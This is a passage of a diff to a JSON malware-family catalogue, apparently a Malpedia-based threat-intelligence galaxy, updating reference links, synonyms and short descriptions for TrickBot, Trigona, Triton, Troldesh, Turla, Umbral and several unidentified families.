"https://share.vx-underground.org/Conti/", + "https://gallery.mailchimp.com/c35aef82661dad887b8162a4f/files/e24e8206-a157-4796-a8cb-2b7262cc76e8/CSIS_Threat_Matrix_H1_2019.pdf", + "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", + "https://securityintelligence.com/posts/trickbot-bolsters-layered-defenses-prevent-injection/", + "https://www.bleepingcomputer.com/news/security/trickbot-gang-developer-arrested-when-trying-to-leave-korea/", + "https://www.slideshare.net/proidea_conferences/inside-cybercrime-groups-harvesting-active-directory-for-fun-and-profit-vitali-kremez", + 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"https://www.proofpoint.com/us/blog/threat-insight/first-step-initial-access-leads-ransomware", + "https://www.ic3.gov/Media/News/2022/220120.pdf", + "https://blog.bushidotoken.net/2022/04/lessons-from-conti-leaks.html", + "https://blog.reversinglabs.com/blog/conversinglabs-ep-2-conti-pivots-as-ransomware-as-a-service-struggles", + "https://labs.bitdefender.com/2020/11/trickbot-is-dead-long-live-trickbot/", + "https://blogs.microsoft.com/on-the-issues/2020/10/12/trickbot-ransomware-cyberthreat-us-elections/", + "https://securityintelligence.com/posts/itg08-aka-fin6-partners-with-trickbot-gang-uses-anchor-framework/", + "https://elis531989.medium.com/the-chronicles-of-bumblebee-the-hook-the-bee-and-the-trickbot-connection-686379311056", + "https://unit42.paloaltonetworks.com/wireshark-tutorial-examining-trickbot-infections/", + "https://threatpost.com/conti-ransomware-v-3-including-decryptor-leaked/179006/", + "https://www.cyberbit.com/blog/endpoint-security/latest-trickbot-variant-has-new-tricks-up-its-sleeve/", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://labs.sentinelone.com/enter-the-maze-demystifying-an-affiliate-involved-in-maze-snow/", + "https://www.kryptoslogic.com/blog/2021/07/trickbot-and-zeus/", + "https://www.sophos.com/en-us/medialibrary/pdfs/technical-papers/sophos-2021-threat-report.pdf", + "https://thedfirreport.com/2021/01/11/trickbot-still-alive-and-well/", + "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", + "https://community.riskiq.com/article/298c9fc9", + "https://decoded.avast.io/martinhron/meris-and-trickbot-standing-on-the-shoulders-of-giants/", + "https://www.bleepingcomputer.com/news/security/malware-tries-to-trump-security-software-with-potus-impeachment/", + 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"https://securityintelligence.com/tricks-of-the-trade-a-deeper-look-into-trickbots-machinations/", + "https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/", + "https://securityintelligence.com/posts/from-ramnit-to-bumblebee-via-neverquest", + "https://unit42.paloaltonetworks.com/trickbot-campaign-uses-fake-payroll-emails-to-conduct-phishing-attacks/", + "https://www.cybereason.com/blog/cybereason-vs.-ryuk-ransomware", + "https://threatresearch.ext.hp.com/wp-content/uploads/2021/10/HP-Wolf-Security-Threat-Insights-Report-Q3-2021.pdf", + "https://intel471.com/blog/ettersilent-maldoc-builder-macro-trickbot-qbot/", + "https://attackiq.com/2022/06/15/attack-graph-emulating-the-conti-ransomware-teams-behaviors/", + "https://securityintelligence.com/posts/trickbot-survival-instinct-trickboot-version/", + "https://community.riskiq.com/article/111d6005/description", + "https://www.nisos.com/research/trickbot-trickleaks-data-analysis/", + "https://unit42.paloaltonetworks.com/trickbot-updates-password-grabber-module/", + "https://labs.sentinelone.com/top-tier-russian-organized-cybercrime-group-unveils-fileless-stealthy-powertrick-backdoor-for-high-value-targets/", + "https://labs.sentinelone.com/how-trickbot-hooking-engine-targets-windows-10-browsers/", + "https://labs.vipre.com/trickbots-tricks/", + "https://thehackernews.com/2022/02/notorious-trickbot-malware-gang-shuts.html", + "https://go.recordedfuture.com/hubfs/reports/cta-2022-0118.pdf", + "https://www.bitdefender.com/files/News/CaseStudies/study/399/Bitdefender-PR-Whitepaper-Trickbot-creat5515-en-EN.pdf", + "https://www.hornetsecurity.com/en/security-information/trickbot-malspam-leveraging-black-lives-matter-as-lure/", + "https://blog.intel471.com/2020/04/14/understanding-the-relationship-between-emotet-ryuk-and-trickbot/", + "https://www.cyberscoop.com/trickbot-shutdown-conti-emotet/", + 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"https://hello.global.ntt/en-us/insights/blog/trickbot-variant-communicating-over-dns", + "https://medium.com/walmartglobaltech/trickbot-crews-new-cobaltstrike-loader-32c72b78e81c", + "https://blog.talosintelligence.com/2018/07/smoking-guns-smoke-loader-learned-new.html", + "https://securelist.com/trickbot-module-descriptions/104603/", + "https://www.crowdstrike.com/blog/wizard-spider-adversary-update/", + "https://intezer.com/blog/intezer-analyze/fantastic-payloads-and-where-we-find-them", + "https://malware.love/trickbot/malware_analysis/reverse_engineering/2020/11/17/trickbots-latest-trick.html", + "https://www.fidelissecurity.com/threatgeek/2016/10/trickbot-we-missed-you-dyre", + "https://www.splunk.com/en_us/blog/security/detecting-trickbots.html", + "http://www.pwc.co.uk/issues/cyber-security-data-privacy/research/trickbots-bag-of-tricks.html", + "https://www.cyberark.com/resources/threat-research-blog/conti-group-leaked", + "https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", + "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", + "https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html", + "https://blogs.microsoft.com/on-the-issues/2020/10/20/trickbot-ransomware-disruption-update/", + "https://www.advintel.io/post/the-trickbot-saga-s-finale-has-aired-but-a-spinoff-is-already-in-the-works", + "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", + "https://www.netscout.com/blog/asert/dropping-anchor", + "https://thedfirreport.com/2021/08/01/bazarcall-to-conti-ransomware-via-trickbot-and-cobalt-strike/", + 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+ "https://sysopfb.github.io/malware/2018/04/16/trickbot-uacme.html", + "https://unit42.paloaltonetworks.com/wireshark-tutorial-emotet-infection/", + "https://medium.com/walmartglobaltech/anchor-and-lazarus-together-again-24744e516607", + "https://engineering.salesforce.com/easily-identify-malicious-servers-on-the-internet-with-jarm-e095edac525a", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-009.pdf", + "https://www.cyberbit.com/latest-trickbot-variant-has-new-tricks-up-its-sleeve/", + "https://securityintelligence.com/trickbots-cryptocurrency-hunger-tricking-the-bitcoin-out-of-wallets/", + "https://www.justice.gov/opa/pr/multiple-foreign-nationals-charged-connection-trickbot-malware-and-conti-ransomware", + "https://www.microsoft.com/security/blog/2022/03/16/uncovering-trickbots-use-of-iot-devices-in-command-and-control-infrastructure/", + "https://medium.com/walmartglobaltech/inside-the-systembc-malware-as-a-service-9aa03afd09c6", + "https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-adds-remote-application-credential-grabbing-capabilities-to-its-repertoire/", + "https://technical.nttsecurity.com/post/102fnog/targeted-trickbot-activity-drops-powerbrace-backdoor", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://www.secureworks.com/blog/trickbot-modifications-target-us-mobile-users", + "https://www.welivesecurity.com/wp-content/uploads/2021/02/ESET_Threat_Report_Q42020.pdf", + "https://www.proofpoint.com/us/blog/security-briefs/threat-actors-pair-tax-themed-lures-covid-19-healthcare-themes", + "https://threatresearch.ext.hp.com/detecting-a-stealthy-trickbot-campaign/", + "https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree", + "https://www.joesecurity.org/blog/498839998833561473", + "https://www.youtube.com/watch?v=EyDiIAt__dI", + "https://www.zscaler.com/blogs/security-research/new-trickbot-and-bazarloader-campaigns-use-multiple-delivery-vectors", + "https://krebsonsecurity.com/2020/10/attacks-aimed-at-disrupting-the-trickbot-botnet/", + "https://github.com/JR0driguezB/malware_configs/tree/master/TrickBot", + "https://eclypsium.com/2022/06/02/conti-targets-critical-firmware/", + "http://www.secureworks.com/research/threat-profiles/gold-blackburn", + "https://qmemcpy.io/post/reverse-engineering-malware-trickbot-part-2-loader", + "https://www.wired.co.uk/article/trickbot-malware-group-internal-messages", + "https://noticeofpleadings.com/trickbot/files/Complaint%20and%20Summons/2020-10-06%20Trickbot%201%20Complaint%20with%20exs.pdf", + "https://www.berlin.de/sen/justva/presse/pressemitteilungen/2020/pm-11-2020-t-systems-forensik_bericht_public_v1.pdf", + "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-2021-threat-report.pdf", + "https://www.bleepingcomputer.com/news/security/cisa-updates-conti-ransomware-alert-with-nearly-100-domain-names/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/trickbot-botnet-ransomware-disruption", + "https://thedfirreport.com/2021/05/02/trickbot-brief-creds-and-beacons/", + "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-110A_Joint_CSA_Russian_State-Sponsored_and_Criminal_Cyber_Threats_to_Critical_Infrastructure_4_20_22_Final.pdf", + "https://blog.morphisec.com/trickbot-uses-a-new-windows-10-uac-bypass", + "https://public.intel471.com/blog/partners-in-crime-north-koreans-and-elite-russian-speaking-cybercriminals/", + "https://blog.cyberint.com/ryuk-crypto-ransomware", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker", + "https://www.lastline.com/labsblog/evolution-of-excel-4-0-macro-weaponization/", + "https://blog.talosintelligence.com/2021/10/threat-hunting-in-large-datasets-by.html", + "https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Publikationen/Lageberichte/Lagebericht2020.pdf?__blob=publicationFile&v=2", + "https://www.microsoft.com/security/blog/2021/02/01/what-tracking-an-attacker-email-infrastructure-tells-us-about-persistent-cybercriminal-operations/", + "https://public.intel471.com/blog/trickbot-online-emotet-microsoft-cyber-command-disruption-attempts/", + "https://twitter.com/VK_Intel/status/1328578336021483522", + "https://labs.sentinelone.com/deep-dive-into-trickbot-executor-module-mexec-hidden-anchor-bot-nexus-operations/", + "https://arcticwolf.com/resources/blog/karakurt-web", + "https://blog.trendmicro.com/trendlabs-security-intelligence/latest-trickbot-campaign-delivered-via-highly-obfuscated-js-file/", + "https://www.europol.europa.eu/newsroom/news/12-targeted-for-involvement-in-ransomware-attacks-against-critical-infrastructure", + "https://threatpost.com/conti-ransomware-decryptor-trickbot-source-code-leaked/178727/", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf", + "https://www.mandiant.com/media/12596/download", + "https://blog.malwarebytes.com/threat-analysis/2017/08/trickbot-comes-with-new-tricks-attacking-outlook-and-browsing-data/", + "https://www.youtube.com/watch?v=lTywPmZEU1A", + "https://www.zscaler.com/blogs/research/trickbot-emerges-few-new-tricks", + "https://eclypsium.com/2020/12/03/trickbot-now-offers-trickboot-persist-brick-profit/", + "https://go.recordedfuture.com/hubfs/reports/cta-2021-1112.pdf", + "https://www.flashpoint-intel.com/blog/new-version-trickbot-adds-worm-propagation-module/", + "https://cybersecurity.att.com/blogs/labs-research/trickbot-bazarloader-in-depth", + "https://www.advanced-intel.com/post/trickbot-group-launches-test-module-alerting-on-fraud-activity", + "https://blog.malwarebytes.com/threat-intelligence/2021/11/trickbot-helps-emotet-come-back-from-the-dead/", + "https://www.govcert.admin.ch/blog/36/severe-ransomware-attacks-against-swiss-smes", + "https://blog.fraudwatchinternational.com/malware/trickbot-malware-works", + "https://securityintelligence.com/posts/trickbot-conti-crypters-where-are-they-now/", + "https://www.fortinet.com/blog/threat-research/global-malicious-spam-campaign-using-black-lives-matter-as-a-lure", + "https://www.kryptoslogic.com/blog/2021/02/trickbot-masrv-module/", + "https://www.cert.pl/en/news/single/detricking-trickbot-loader/", + "https://www.gosecure.net/blog/2021/12/03/trickbot-leverages-zoom-work-from-home-interview-malspam-heavens-gate-and-spamhaus/", + "https://mal-eats.net/en/2021/05/11/campo_new_attack_campaign_targeting_japan/", + "https://www.flashpoint-intel.com/blog/trickbot-account-checking-hybrid-attack-model/", + "https://blogs.vmware.com/networkvirtualization/2020/11/trick-or-threat-ryuk-ransomware-targets-the-health-care-industry.html/", + "https://www.securityartwork.es/wp-content/uploads/2017/06/Informe_Evoluci%C3%B3n_Trickbot.pdf", + "https://unit42.paloaltonetworks.com/goodbye-mworm-hello-nworm-trickbot-updates-propagation-module/", + "https://securityaffairs.co/wordpress/128190/cyber-crime/conti-ransomware-takes-over-trickbot.html", + "https://www.webroot.com/blog/2018/03/21/trickbot-banking-trojan-adapts-new-module/", + "https://intel471.com/blog/a-brief-history-of-ta505", + "https://inquest.net/blog/2019/08/26/TrickBot-Memory-Analysis" ], "synonyms": [ "TheTrick", @@ -47975,12 +50227,14 @@ "value": "TrickBot" }, { - "description": "", + "description": "According to PCrisk, Trigona is ransomware that encrypts files and appends the \"._locked\" extension to filenames. Also, it drops the \"how_to_decrypt.hta\" file that opens a ransom note. An example of how Trigona renames files: it renames \"1.jpg\" to \"1.jpg._locked\", \"2.png\" to \"2.png._locked\", and so forth.\r\n\r\nIt embeds the encrypted decryption key, the campaign ID, and the victim ID in the encrypted files.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.trigona", + "https://www.trendmicro.com/en_us/research/23/f/an-overview-of-the-trigona-ransomware.html", + "https://www.fortinet.com/blog/threat-research/ransomware-roundup-trigona-ransomware", "https://unit42.paloaltonetworks.com/trigona-ransomware-update/", - "https://www.fortinet.com/blog/threat-research/ransomware-roundup-trigona-ransomware" + "https://asec.ahnlab.com/en/51343/" ], "synonyms": [], "type": [] @@ -47993,25 +50247,25 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.triton", - "https://ics-cert.us-cert.gov/sites/default/files/documents/MAR-17-352-01%20HatMan%E2%80%94Safety%20System%20Targeted%20Malware_S508C.pdf", - "https://www.eenews.net/stories/1060123327/", - "https://dragos.com/blog/trisis/TRISIS-01.pdf", - "https://www.cisa.gov/uscert/ncas/alerts/aa22-110a", - "https://www.domaintools.com/resources/blog/visibility-monitoring-and-critical-infrastructure-security", - "https://www.fireeye.com/blog/threat-research/2018/10/triton-attribution-russian-government-owned-lab-most-likely-built-tools.html", - "https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1538425180.pdf", - "https://www.ironnet.com/blog/russian-cyber-attack-campaigns-and-actors", - "https://www.fireeye.com/blog/threat-research/2017/12/attackers-deploy-new-ics-attack-framework-triton.html", - "https://www.nozominetworks.com//downloads/US/Nozomi-Networks-TRITON-The-First-SIS-Cyberattack.pdf", - "https://www.mandiant.com/resources/mandiant-red-team-emulates-fin11-tactics", - "https://www.ic3.gov/Media/News/2022/220325.pdf", - "https://www.midnightbluelabs.com/blog/2018/1/16/analyzing-the-triton-industrial-malware", - "https://github.com/ICSrepo/TRISIS-TRITON-HATMAN", - "https://home.treasury.gov/news/press-releases/sm1162", - "https://securelist.com/apt-trends-report-q2-2019/91897/", - "https://us-cert.cisa.gov/sites/default/files/documents/MAR-17-352-01%20HatMan%20-%20Safety%20System%20Targeted%20Malware%20%28Update%20A%29_S508C.PDF", "https://www.cisa.gov/uscert/ncas/alerts/aa22-083a", - "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-110A_Joint_CSA_Russian_State-Sponsored_and_Criminal_Cyber_Threats_to_Critical_Infrastructure_4_20_22_Final.pdf" + "https://www.cisa.gov/uscert/ncas/alerts/aa22-110a", + "https://www.mandiant.com/resources/mandiant-red-team-emulates-fin11-tactics", + "https://www.domaintools.com/resources/blog/visibility-monitoring-and-critical-infrastructure-security", + "https://www.fireeye.com/blog/threat-research/2017/12/attackers-deploy-new-ics-attack-framework-triton.html", + "https://home.treasury.gov/news/press-releases/sm1162", + "https://github.com/ICSrepo/TRISIS-TRITON-HATMAN", + "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-110A_Joint_CSA_Russian_State-Sponsored_and_Criminal_Cyber_Threats_to_Critical_Infrastructure_4_20_22_Final.pdf", + "https://www.ic3.gov/Media/News/2022/220325.pdf", + "https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1538425180.pdf", + "https://www.eenews.net/stories/1060123327/", + "https://www.midnightbluelabs.com/blog/2018/1/16/analyzing-the-triton-industrial-malware", + "https://www.fireeye.com/blog/threat-research/2018/10/triton-attribution-russian-government-owned-lab-most-likely-built-tools.html", + "https://securelist.com/apt-trends-report-q2-2019/91897/", + "https://dragos.com/blog/trisis/TRISIS-01.pdf", + "https://www.nozominetworks.com//downloads/US/Nozomi-Networks-TRITON-The-First-SIS-Cyberattack.pdf", + "https://us-cert.cisa.gov/sites/default/files/documents/MAR-17-352-01%20HatMan%20-%20Safety%20System%20Targeted%20Malware%20%28Update%20A%29_S508C.PDF", + "https://www.ironnet.com/blog/russian-cyber-attack-campaigns-and-actors", + "https://ics-cert.us-cert.gov/sites/default/files/documents/MAR-17-352-01%20HatMan%E2%80%94Safety%20System%20Targeted%20Malware_S508C.pdf" ], "synonyms": [ "HatMan", @@ -48027,20 +50281,20 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.trochilus_rat", - "https://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/operation-drbcontrol-uncovering-a-cyberespionage-campaign-targeting-gambling-companies-in-southeast-asia", - "https://github.com/5loyd/trochilus/", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/webworm-espionage-rats", - "https://www.sstic.org/media/SSTIC2020/SSTIC-actes/pivoter_tel_bernard_ou_comment_monitorer_des_attaq/SSTIC2020-Slides-pivoter_tel_bernard_ou_comment_monitorer_des_attaquants_ngligents-lunghi.pdf", "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/espionage-asia-governments", - "https://www.botconf.eu/wp-content/uploads/2022/05/Botconf2022-40-LunghiHorejsi.pdf", "https://www.secureworks.com/research/threat-profiles/bronze-vinewood", + "https://blogs.jpcert.or.jp/en/2017/04/redleaves---malware-based-on-open-source-rat.html", + "https://github.com/5loyd/trochilus/", + "https://github.com/m0n0ph1/malware-1/tree/master/Trochilus", + "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf", + "https://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/operation-drbcontrol-uncovering-a-cyberespionage-campaign-targeting-gambling-companies-in-southeast-asia", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/webworm-espionage-rats", "https://raw.githubusercontent.com/yt0ng/cracking_softcell/main/Cracking_SOFTCLL_TLP_WHITE.pdf", "https://www.secureworks.com/research/bronze-vinewood-targets-supply-chains", - "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf", - "https://github.com/m0n0ph1/malware-1/tree/master/Trochilus", + "https://www.sstic.org/media/SSTIC2020/SSTIC-actes/pivoter_tel_bernard_ou_comment_monitorer_des_attaq/SSTIC2020-Slides-pivoter_tel_bernard_ou_comment_monitorer_des_attaquants_ngligents-lunghi.pdf", + "https://go.recordedfuture.com/hubfs/reports/cta-2019-0206.pdf", "https://app.box.com/s/z1uanuv1vn3vw5iket1r6bqrmlra0gpn", - "https://blogs.jpcert.or.jp/en/2017/04/redleaves---malware-based-on-open-source-rat.html", - "https://go.recordedfuture.com/hubfs/reports/cta-2019-0206.pdf" + "https://www.botconf.eu/wp-content/uploads/2022/05/Botconf2022-40-LunghiHorejsi.pdf" ], "synonyms": [], "type": [] @@ -48053,16 +50307,16 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.troldesh", - "https://blog.avast.com/ransomware-strain-troldesh-spikes", - "https://www.zdnet.com/article/shade-troldesh-ransomware-shuts-down-and-releases-all-decryption-keys/", - "https://support.kaspersky.com/13059", "https://blogs.technet.microsoft.com/mmpc/2016/07/13/troldesh-ransomware-influenced-by-the-da-vinci-code/", - "https://labs.bitdefender.com/2020/05/shade-troldesh-ransomware-decryption-tool/", - "https://unit42.paloaltonetworks.com/shade-ransomware-hits-high-tech-wholesale-education-sectors-in-u-s-japan-india-thailand-canada/", - "https://blog.checkpoint.com/2015/06/01/troldesh-new-ransomware-from-russia/", - "https://isc.sans.edu/forums/diary/More+Russian+language+malspam+pushing+Shade+Troldesh+ransomware/24668/", - "https://securelist.com/the-shade-encryptor-a-double-threat/72087/", "https://github.com/shade-team/keys", + "https://blog.checkpoint.com/2015/06/01/troldesh-new-ransomware-from-russia/", + "https://support.kaspersky.com/13059", + "https://labs.bitdefender.com/2020/05/shade-troldesh-ransomware-decryption-tool/", + "https://isc.sans.edu/forums/diary/More+Russian+language+malspam+pushing+Shade+Troldesh+ransomware/24668/", + "https://blog.avast.com/ransomware-strain-troldesh-spikes", + "https://securelist.com/the-shade-encryptor-a-double-threat/72087/", + "https://unit42.paloaltonetworks.com/shade-ransomware-hits-high-tech-wholesale-education-sectors-in-u-s-japan-india-thailand-canada/", + "https://www.zdnet.com/article/shade-troldesh-ransomware-shuts-down-and-releases-all-decryption-keys/", "https://www.welivesecurity.com/2019/01/28/russia-hit-new-wave-ransomware-spam/" ], "synonyms": [ @@ -48137,13 +50391,13 @@ "value": "TUNNELFISH" }, { - "description": "", + "description": "According to Mitre, Turian is a backdoor that has been used by BackdoorDiplomacy to target Ministries of Foreign Affairs, telecommunication companies, and charities in Africa, Europe, the Middle East, and Asia. First reported in 2021, Turian is likely related to Quarian, an older backdoor that was last observed being used in 2013 against diplomatic targets in Syria and the United States. ", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.turian", + "https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/", "https://unit42.paloaltonetworks.com/playful-taurus/", - "https://www.fortinet.com/blog/threat-research/analysis-of-follina-zero-day", - "https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/" + "https://www.fortinet.com/blog/threat-research/analysis-of-follina-zero-day" ], "synonyms": [], "type": [] @@ -48169,13 +50423,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.turla_rpc", - "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/", - "https://cocomelonc.github.io/tutorial/2022/05/02/malware-pers-3.html", - "https://cocomelonc.github.io/malware/2022/09/20/malware-pers-11.html", - "https://unit42.paloaltonetworks.com/ironnetinjector/", - "https://cocomelonc.github.io/tutorial/2022/06/12/malware-pers-7.html", "https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity", - "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf" + "https://unit42.paloaltonetworks.com/ironnetinjector/", + "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/", + "https://cocomelonc.github.io/tutorial/2022/06/12/malware-pers-7.html", + "https://cocomelonc.github.io/malware/2022/09/20/malware-pers-11.html", + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", + "https://cocomelonc.github.io/tutorial/2022/05/02/malware-pers-3.html" ], "synonyms": [], "type": [] @@ -48188,10 +50442,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.turla_silentmoon", - "https://twitter.com/Arkbird_SOLG/status/1304187749373800455", "https://www.emanueledelucia.net/the-bigboss-rules-something-about-one-of-the-uroburos-rpc-based-backdoors/", - "https://cocomelonc.github.io/tutorial/2022/06/12/malware-pers-7.html", "https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity", + "https://cocomelonc.github.io/tutorial/2022/06/12/malware-pers-7.html", + "https://twitter.com/Arkbird_SOLG/status/1304187749373800455", "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf" ], "synonyms": [ @@ -48210,11 +50464,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.turnedup", - "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/elfin-apt33-espionage", - "https://www.cyberbit.com/new-early-bird-code-injection-technique-discovered/", "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage", + "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/elfin-apt33-espionage", + "https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html", "https://www.cyberbit.com/blog/endpoint-security/new-early-bird-code-injection-technique-discovered/", - "https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html" + "https://www.cyberbit.com/new-early-bird-code-injection-technique-discovered/" ], "synonyms": [ "Notestuk" @@ -48303,8 +50557,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.uacme", - "https://securelist.com/scarcruft-continues-to-evolve-introduces-bluetooth-harvester/90729/", - "https://github.com/hfiref0x/UACME" + "https://github.com/hfiref0x/UACME", + "https://securelist.com/scarcruft-continues-to-evolve-introduces-bluetooth-harvester/90729/" ], "synonyms": [ "Akagi" @@ -48319,8 +50573,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.udpos", - "https://threatmatrix.cylance.com/en_us/home/threat-spotlight-inside-udpos-malware.html", - "https://www.forcepoint.com/blog/x-labs/udpos-exfiltrating-credit-card-data-dns" + "https://www.forcepoint.com/blog/x-labs/udpos-exfiltrating-credit-card-data-dns", + "https://threatmatrix.cylance.com/en_us/home/threat-spotlight-inside-udpos-malware.html" ], "synonyms": [], "type": [] @@ -48357,6 +50611,19 @@ "uuid": "5e362cd1-bc5c-4225-b820-00ec7ebebadd", "value": "Uiwix" }, + { + "description": "Umbral is a data-stealing Trojan that targets Windows systems. It spreads through phishing emails and malicious attachments. Once installed, Umbral can steal a variety of data, including usernames, passwords, online banking credentials, and confidential files. It can also change computer settings and execute harmful commands. Umbral is a serious security threat and should be removed immediately if found.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.umbral", + "https://blog.cyble.com/2023/06/23/trojanized-super-mario-game-installer-spreads-supremebot-malware/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "449a8708-d0ec-40c8-af7c-ea6960d11659", + "value": "Umbral" + }, { "description": "", "meta": { @@ -48508,7 +50775,7 @@ "value": "Unidentified 029" }, { - "description": "", + "description": "According to enigmasoftware, FileCoder Trojans are Trojan infections that encrypt content on the victim's computer. FileCoder infections are a form of ransomware. Essentially, they take the victim's computer hostage, encrypting the victim's files and then demanding payment of a ransom in exchange for decrypting software", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_030", @@ -48672,8 +50939,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_058", - "https://securelist.com/the-evolution-of-brazilian-malware/74325/#rat", - "https://securelist.com/the-return-of-the-bom/90065/" + "https://securelist.com/the-return-of-the-bom/90065/", + "https://securelist.com/the-evolution-of-brazilian-malware/74325/#rat" ], "synonyms": [], "type": [] @@ -48691,7 +50958,7 @@ "type": [] }, "uuid": "969d1054-b917-4fb8-b3f8-1e33926fdb65", - "value": "Unidentified 061" + "value": "Unidentified 061 (Windows)" }, { "description": "This .net executable can receive commands from c2 sever, upload and download files according to the returned content, perform an uninstall, or modify the registry to achieve persistence across reboots. At the end, it downloads a Python-based RAT, called PeppyRAT.", @@ -48784,6 +51051,19 @@ "uuid": "f2979fee-603d-496e-a526-d622e9cba84f", "value": "Unidentified 072 (Metamorfo Loader)" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_073", + "https://blog.certfa.com/posts/fake-interview-the-new-activity-of-charming-kitten/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "f049e626-7de2-4648-81db-53dfd34f2fab", + "value": "Unidentified 073 (Charming Kitten)" + }, { "description": "", "meta": { @@ -48801,8 +51081,7 @@ "description": "Unpacked http_dll.dat from the blog post.", "meta": { "refs": [ - "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_075", - "https://blog.vincss.net/2020/03/re012-phan-tich-ma-doc-loi-dung-dich-COVID-19-de-phat-tan-gia-mao-chi-thi-cua-thu-tuong-Nguyen-Xuan-Phuc.html" + "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_075" ], "synonyms": [], "type": [] @@ -48816,8 +51095,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_076", "https://www.youtube.com/watch?v=8x-pGlWpIYI", - "https://blog.bushidotoken.net/2020/06/deep-dive-darkhotel-apt.html", - "https://www.zscaler.com/blogs/research/return-higaisa-apt" + "https://www.zscaler.com/blogs/research/return-higaisa-apt", + "https://blog.bushidotoken.net/2020/06/deep-dive-darkhotel-apt.html" ], "synonyms": [], "type": [] @@ -48830,7 +51109,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_077", - "https://twitter.com/ccxsaber/status/1277064824434745345" + "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-048f", + "https://twitter.com/ccxsaber/status/1277064824434745345", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lazarus-north-korea-indictment" ], "synonyms": [], "type": [] @@ -48852,7 +51133,7 @@ "value": "Unidentified 078 (Zebrocy Nim Loader?)" }, { - "description": "This Trojan is a full-featured RAT capable of executing common tasks such as command execution and downloading/uploading files. This is implemented through a couple dozen C++ classes such as CMFile, CMFile, CMProcess, TFileDownload, TDrive, TProcessInfo, TSock, etc. The first stage custom installer utilizes the same classes. The Trojan uses HTTP Server API to filter HTTPS packets at port 443 and parse commands. \r\nIt is also used by attackers to gather a target’s data, make lateral movements and create SOCKS tunnels to their C2 using the Earthworm tunneler.Given that the 